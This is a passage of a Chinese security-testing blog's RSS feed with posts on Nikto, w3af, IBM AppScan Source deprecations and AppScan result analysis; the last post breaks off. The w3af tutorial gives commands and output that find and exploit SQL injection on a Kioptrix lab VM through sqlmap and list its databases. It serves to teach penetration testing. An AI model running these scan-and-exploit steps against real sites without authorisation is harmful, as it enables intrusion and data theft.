11.8181819915771px;">　　a.认证绕过</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; font-size: 11.8181819915771px;">　　b.软件关联</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; font-size: 11.8181819915771px;">　　g.属性（不要依懒banner的信息）</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; font-size: 11.8181819915771px;">　　x.反向连接选项</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; font-size: 11.8181819915771px;">　　-useproxy</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; font-size: 11.8181819915771px;">　　使用指定代理扫描</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; font-size: 11.8181819915771px;">　　-update</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; font-size: 11.8181819915771px;">　　更新插件和数据库</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; font-size: 11.8181819915771px;">　　例子：使用Nikto扫描目标主机10.0.0.12的phpwind论坛网站。</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; font-size: 11.8181819915771px;">　　Perl nikto.pl &#8211;h 10.0.0.12 &#8211;o test.txt</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; font-size: 11.8181819915771px;">　　通过上面的扫描结果，我们可以发现这个Phpwind论坛网站，是在windows操作系统上，使用Apache/2.2.4版本，Php/5.2.0版本，以及系统默认的配置文件和路径等。</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; font-size: 11.8181819915771px;">　　综上所述，Nikto工具可以帮助我们对Web的安全进行审计，及时发现网站存在的安全漏洞，对网站的安全做进一步的扫描评估。</div></div> <div><div id="SL_button" class="ImTranslatorLogo" style="display: none; background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><div id="SL_shadow_translation_result2" style="display: none;"></div><div id="SL_shadow_translator" style="display: none;"><div id="SL_planshet" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png) #f4f5f5;"><div id="SL_TB"><div id="bubblelogo" class="ImTranslatorLogo" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><table cellspacing="1" border="0" id="SL_tables"><tbody><tr><td class="SL_td" align="left" width="20%"><div id="SL_lng_from">English&nbsp;&#187;</div></td><td class="SL_td" align="left" width="20%"><select id="SL_lng_to"><option value="af">Afrikaans</option><option value="sq">Albanian</option><option value="ar">Arabic</option><option value="hy">Armenian</option><option value="az">Azerbaijani</option><option value="eu">Basque</option><option value="bn">Bengali</option><option value="be">Belarusian</option><option value="bg">Bulgarian</option><option value="ca">Catalan</option><option value="zh-CN">Chinese&nbsp;(Simp)</option><option value="zh-TW">Chinese&nbsp;(Trad)</option><option value="hr">Croatian</option><option value="cs">Czech</option><option value="da">Danish</option><option value="nl">Dutch</option><option value="en">English</option><option value="eo">Esperanto</option><option value="et">Estonian</option><option value="tl">Filipino</option><option value="fi">Finnish</option><option value="fr">French</option><option value="gl">Galician</option><option value="ka">Georgian</option><option value="de">German</option><option value="el">Greek</option><option value="gu">Gujarati</option><option value="ht">Haitian&nbsp;Creole</option><option value="iw">Hebrew</option><option value="hi">Hindi</option><option value="hu">Hungarian</option><option value="is">Icelandic</option><option value="id">Indonesian</option><option value="ga">Irish</option><option value="it">Italian</option><option value="ja">Japanese</option><option value="kn">Kannada</option><option value="ko">Korean</option><option value="lo">Lao</option><option value="la">Latin</option><option value="lv">Latvian</option><option value="lt">Lithuanian</option><option value="mk">Macedonian</option><option value="ms">Malay</option><option value="mt">Maltese</option><option value="no">Norwegian</option><option value="fa">Persian</option><option value="pl">Polish</option><option value="pt">Portuguese</option><option value="ro">Romanian</option><option value="ru">Russian</option><option value="sr">Serbian</option><option value="sk">Slovak</option><option value="sl">Slovenian</option><option selected="" value="es">Spanish</option><option value="sw">Swahili</option><option value="sv">Swedish</option><option value="ta">Tamil</option><option value="te">Telugu</option><option value="th">Thai</option><option value="tr">Turkish</option><option value="uk">Ukrainian</option><option value="ur">Urdu</option><option value="vi">Vietnamese</option><option value="cy">Welsh</option><option value="yi">Yiddish</option></select></td><td class="SL_td" width="13%" align="center">&nbsp;</td><td class="SL_td" width="8%" align="center"><div id="SL_TTS_voice" title="Listen to the translation" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/tts-voice.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_copy" title="Select text" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/copy_hand.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_bbl_font_patch" onclick="alert('Not available for dictionary');"></div><div id="SL_bbl_font" title="Font size" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/font-off.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_TH" title="Translation history" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/history.png);"></div></td><td class="SL_td" width="5%"></td><td class="SL_td" width="8%" align="right"><div id="SL_pin" title="Pin pup-up bubble" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/pin-off.png);"></div></td></tr></tbody></table></div></div><div id="SL_shadow_translation_result" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg.png) #ffffff;"></div><div id="SL_bbl_donate" title="Make a small contribution" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/donate2.png);"></div><div id="SL_Balloon_options" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg3.png) #f4f5f5;"><a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/options-bbl.html" target="_blank" class="SL_options" title="Show options">Options</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/history.html" class="SL_options" title="Translation history" target="_blank">History</a>&nbsp;:&nbsp;<a href="http://about.imtranslator.net/add-ons/chrome-extension/" target="_blank" class="SL_options" title="ImTranslator Help">Help</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/feedback.html" class="SL_options" title="Feedback" target="_blank">Feedback</a></div><div id="SL_player"></div><div id="SL_alert100" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png);">Text-to-speech function is limited to 100 characters</div></div></div><img src ="http://www.blogjava.net/qileilove/aggbug/419228.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2014-10-30 11:16 <a href="http://www.blogjava.net/qileilove/archive/2014/10/30/419228.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>W3af简单使用教程</title><link>http://www.blogjava.net/qileilove/archive/2014/10/11/418616.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Sat, 11 Oct 2014 03:09:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2014/10/11/418616.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/418616.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2014/10/11/418616.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/418616.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/418616.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　w3af是一个<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Web</strong></u></a>应用程序攻击和检查框架.该项目已超过130个插件,其中包括检查网站爬虫,SQL注入(<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">SQL</strong></u></a>&nbsp;Injection),跨站(XSS),本地文件包含(LFI),远程文件包含(RFI)等.该项目的目标是要建立一个框架,以寻找和开发Web应用安全漏洞,所以很容易使用和扩展.</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">0&#215;00 概述</strong></div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　在BackTrack5R3下使用w3af测试Kioptrix Level 4的SQL注入漏洞.</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">0&#215;01 简介</strong></div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　w3af是一个Web应用程序攻击和检查框架.该项目已超过130个插件,其中包括检查网站爬虫,SQL注入(SQL Injection),跨站(XSS),本地文件包含(LFI),远程文件包含(RFI)等.该项目的目标是要建立一个框架,以寻找和开发Web应用安全漏洞,所以很容易使用和扩展.</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">0&#215;02 安装</strong></div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　root@bt:~# apt-get install w3af</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">0&#215;03 启动</strong></div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　root@bt:~# cd /pentest/web/w3af/root@bt:/pentest/web/w3af# ./w3af_console</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　<strong style="word-break: break-all; line-height: normal !important;">　0&#215;04 漏洞扫描配置</strong></div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　w3af&gt;&gt;&gt; plugins//进入插件模块w3af/plugins&gt;&gt;&gt; list discovery //列出所有用于发现的插件w3af/plugins&gt;&gt;&gt; discovery findBackdoor phpinfo webSpider //启用findBackdoor phpinfo webSpider这三个插件w3af/plugins&gt;&gt;&gt; list audit //列出所有用于漏洞的插件w3af/plugins&gt;&gt;&gt; audit blindSqli fileUpload osCommanding sqli xss //启用blindSqli fileUpload osCommanding sqli xss这五个插件w3af/plugins&gt;&gt;&gt; back//返回主模块w3af&gt;&gt;&gt; target//进入配置目标的模块w3af/config:target&gt;&gt;&gt;set target http://192.168.244.132///把目标设置为http://192.168.244.132/w3af/config:target&gt;&gt;&gt; back//返回主模块</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">0&#215;05 漏洞扫描</strong></div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 612.727233886719px; font-size: 12px; background-color: #dddddd;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">w3af&gt;&gt;&gt; start</div><div style="word-break: break-all; margin: 10px 0px;">---New URL found by phpinfo plugin: http://192.168.244.132/New URL found by phpinfo plugin: http://192.168.244.132/checklogin.phpNew URL found by phpinfo plugin: http://192.168.244.132/index.phpNew URL found by webSpider plugin: http://192.168.244.132/New URL found by webSpider plugin: http://192.168.244.132/checklogin.phpNew URL found by webSpider plugin: http://192.168.244.132/index.phpFound 3 URLs and 8 different points of injection.The list of URLs is:- http://192.168.244.132/index.php- http://192.168.244.132/checklogin.php- http://192.168.244.132/The list of fuzzable requests is:- http://192.168.244.132/ | Method: GET- http://192.168.244.132/ | Method: GET | Parameters: (mode="phpinfo")- http://192.168.244.132/ | Method: GET | Parameters: (view="phpinfo")- http://192.168.244.132/checklogin.php | Method: GET- http://192.168.244.132/checklogin.php | Method: POST | Parameters: (myusername="", mypassword="")- http://192.168.244.132/index.php | Method: GET- http://192.168.244.132/index.php | Method: GET | Parameters: (mode="phpinfo")- http://192.168.244.132/index.php | Method: GET | Parameters: (view="phpinfo")Blind SQL injection was found at: "http://192.168.244.132/checklogin.php", using HTTP method POST. The injectable parameter is: "mypassword". This vulnerability was found in the requests with ids 309 to 310.A SQL error was found in the response supplied by the web application, the error is (only a fragment is shown): "supplied argument is not a valid&nbsp;<a target="_self" style="word-break: break-all; color: #202859;"><u style="word-break: break-all;"><strong style="word-break: break-all;">MySQL</strong></u></a>". The error was found on response with id 989.A SQL error was found in the response supplied by the web application, the error is (only a fragment is shown): "mysql_". The error was found on response with id 989.SQL injection in a MySQL database was found at: "http://192.168.244.132/checklogin.php", using HTTP method POST. The sent post-data was: "myusername=John&amp;Submit=Login&amp;mypassword=d'z"0". The modified parameter was "mypassword". This vulnerability was found in the request with id 989.Scan finished in 19 seconds.---//开始扫描</div></td></tr></tbody></table></div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">0&#215;06 漏洞利用配置</strong></div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　w3af&gt;&gt;&gt; exploit //进入漏洞利用模块w3af/exploit&gt;&gt;&gt; list exploit//列出所有用于漏洞利用的插件w3af/exploit&gt;&gt;&gt; exploit sqlmap //使用sqlmap进行SQL注入漏洞的<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">测试</strong></u></a></div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 612.727233886719px; font-size: 12px; background-color: #dddddd;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><span style="word-break: break-all; background-color: #ffffff;">---Trying to exploit using vulnerability with id: [1010, 1011]. Please wait...Vulnerability successfully exploited. This is a list of available shells and proxies:- [0] &lt;sqlobject ( dbms: "MySQL &gt;= 5.0.0" | ruser: "root@localhost" )&gt;Please use the interact command to interact with the&nbsp;<a target="_self" style="word-break: break-all; color: #202859;"><u style="word-break: break-all;"><strong style="word-break: break-all;">shell</strong></u></a>&nbsp;objects.---//测试存在SQL注入漏洞//这里要记住shell objects(这里是0),等一下要用到0x07 漏洞利用w3af/exploit&gt;&gt;&gt; interact 0//interact + shell object就可以利用了---Execute "exit" to get out of the remote shell. Commands typed in this menu will be run through the sqlmap shellw3af/exploit/sqlmap-0&gt;&gt;&gt; ---//sqlmap的一个交互式模块w3af/exploit/sqlmap-0&gt;&gt;&gt; dbs &nbsp; ---Available databases: &nbsp;[3]:[*] information_schema[*] members[*] mysql---//成功获得<a target="_self" style="word-break: break-all; color: #202859;"><u style="word-break: break-all;"><strong style="word-break: break-all;">数据库</strong></u></a>信息</span></td></tr></tbody></table></div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;"></div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;"></div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;"></div><div id="weixin_s" style="word-break: break-all; line-height: 21.6000022888184px; margin: 0px 0px 10px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; width: 182px; height: 32px; display: inline-block; position: relative; background-image: url(http://www.51testing.com/html/wx.jpg); background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: no-repeat;"></div>&nbsp;<img src ="http://www.blogjava.net/qileilove/aggbug/418616.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2014-10-11 11:09 <a href="http://www.blogjava.net/qileilove/archive/2014/10/11/418616.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>AppScan Source V8.8 中弃用的功能</title><link>http://www.blogjava.net/qileilove/archive/2014/09/24/418232.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Wed, 24 Sep 2014 07:33:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2014/09/24/418232.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/418232.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2014/09/24/418232.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/418232.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/418232.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><strong style="word-break: break-all; line-height: normal !important;">从 AppScan Source V8.8 开始，不再支持以下<a target="_self" style="word-break: break-all; color: #202859;"><u style="word-break: break-all;"><strong style="word-break: break-all;">操作系统</strong></u></a>：</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　Microsoft&nbsp;<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Windows</strong></u></a>&nbsp;XP</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　Microsoft Windows Server 2003，所有版本和修订版</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">此外：</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　Visual Studio 2005 项目文件不再受支持，而且 AppScan Source for Development（Visual Studio 插件） 不再能适用于 Visual Studio 2005。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　Eclipse V3.3、V3.4 和 V3.5 项目文件和<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">工作</strong></u></a>空间不再受支持，而且 AppScan Source for Development（Eclipse 插件） 不再能适用于 Eclipse V3.3、V3.4 和 V3.5。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Rational</strong></u></a>&nbsp;Application Developer for WebSphere? Software (RAD) V7.x 项目文件和工作空间不再受支持，而且&nbsp;<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">IBM</strong></u></a>&nbsp;Security AppScan Source for Development plug-in for IBM Rational Application Developer for WebSphere Software (RAD) 不再能适用于 RAD V7.x。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　Java 和 JSP 编译不再支持 Tomcat V3 (Jasper 1)。如果要升级 AppScan Source 并使用该版本的 Tomcat，您需要将 Tomcat 升级到 AppScan Source V8.8 支持的版本（请参阅 AppScan Source 系统需求以了解受支持的 Tomcat 版本）。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　IBM Rational ClearQuest? V7.0 和 IBM Rational Team Concert? V2.0.0.2 不再是受支持的缺陷跟踪系统。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">注意：</strong>如果之前装的8.7的AppScan Enterprise Server，现在把AppScan Source升级到8.8，运行会提示版本不兼容！</div><img src ="http://www.blogjava.net/qileilove/aggbug/418232.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2014-09-24 15:33 <a href="http://www.blogjava.net/qileilove/archive/2014/09/24/418232.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>IBM Rational Appscan使用之扫描结果分析</title><link>http://www.blogjava.net/qileilove/archive/2014/09/19/418078.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Fri, 19 Sep 2014 01:56:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2014/09/19/418078.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/418078.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2014/09/19/418078.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/418078.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/418078.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　之前有<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">IBM</strong></u></a>&nbsp;<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Rational</strong></u></a>&nbsp;Appscan使用详细说明的一篇<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">文章</strong></u></a>，主要是针对扫描过程中配置设置等.本文将介绍针对扫描结果的分析,也是一次完整的渗透<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">测试</strong></u></a>必须经历的环节.</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: center; background-color: #ffffff;"><a href="http://www.51testing.com/batch.download.php?aid=48437" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/09/14982672_201409181119181yuDm.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　扫描开始的时候,Appscan会询问是否保存扫描结果,同时下方有进度条显示扫描的进度.</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　在扫描过程中，如果遇到任何连接问题或其他任何问题，可以暂停扫描并在稍后继续进行.如第一篇文章中讲的扫描包括两个阶段-探索、测试.Appscan种的Scan Expert和HP WebInspect中的建议选项卡类似,Scan Expert分析扫描的配置，然后针对变化给出配置建议,目的是为了更好的执行一次扫描.可以选择忽略或者执行这些建议.</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　Appscan的窗口大概分三个模块,Application Links(应用链接), Security Issues(安全问题), and Analysis(分析)，如下图所示:</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: center; background-color: #ffffff;"><a href="http://www.51testing.com/batch.download.php?aid=48438" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/09/14982672_201409181119182MND8.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">Application Links Pane(应用程序结构)</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　这一块主要显示网站的层次结构,基于URL和基于内容形式的文件夹和文件等都会在这里显示,在旁边的括号里显示的数字代表存在的漏洞或者安全问题.通过右键单击文件夹或者URL可以选择是否忽略扫描此节点.Dashboard窗格会根据漏洞严重程序，高中低列出网站存在的问题情况,因此Dashboard将反映一个应用程序的整体实力。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">Security Issues Pane(安全问题)</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　这个窗格主要显示应用程序中存在的漏洞的详细信息.针对没一个漏洞，列出了具体的参数.通过展开树形结构可以看到一个特定漏洞的具体情况，如下所示：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: center; background-color: #ffffff;"><a href="http://www.51testing.com/batch.download.php?aid=48439" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/09/14982672_201409181119183WLiJ.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　根据扫描的配置,Appscan会针对各种诸如<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">SQL</strong></u></a>注入的关键问题，以及像邮件地址模式发现等低危害的漏洞进行扫描并标识出来.因为扫描策略选择了默认，Appscan会展示出各种问题的扫描情况.右键单击某个特定的漏洞可以改变漏洞的的严重等级为非脆弱,甚至可以删除.</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">Analysis Pane(分析)</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　选择Security Issues窗格中的一个特定漏洞或者安全问题，会在Analysis窗格中看到针对此漏洞或者安全问题的四个方面:Issue information(问题信息), Advisory(咨询), Fix Recommendation(修复建议), Request/Response(请求/相应).</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">Issue information(安全问题信息)</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　Issue information 标签下给出了选定的漏洞的详细信息,显示具体的URL和与之相关的安全风险。通过这个可以让安全分析师需要做什么，以及确认它是一个有效的发现。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 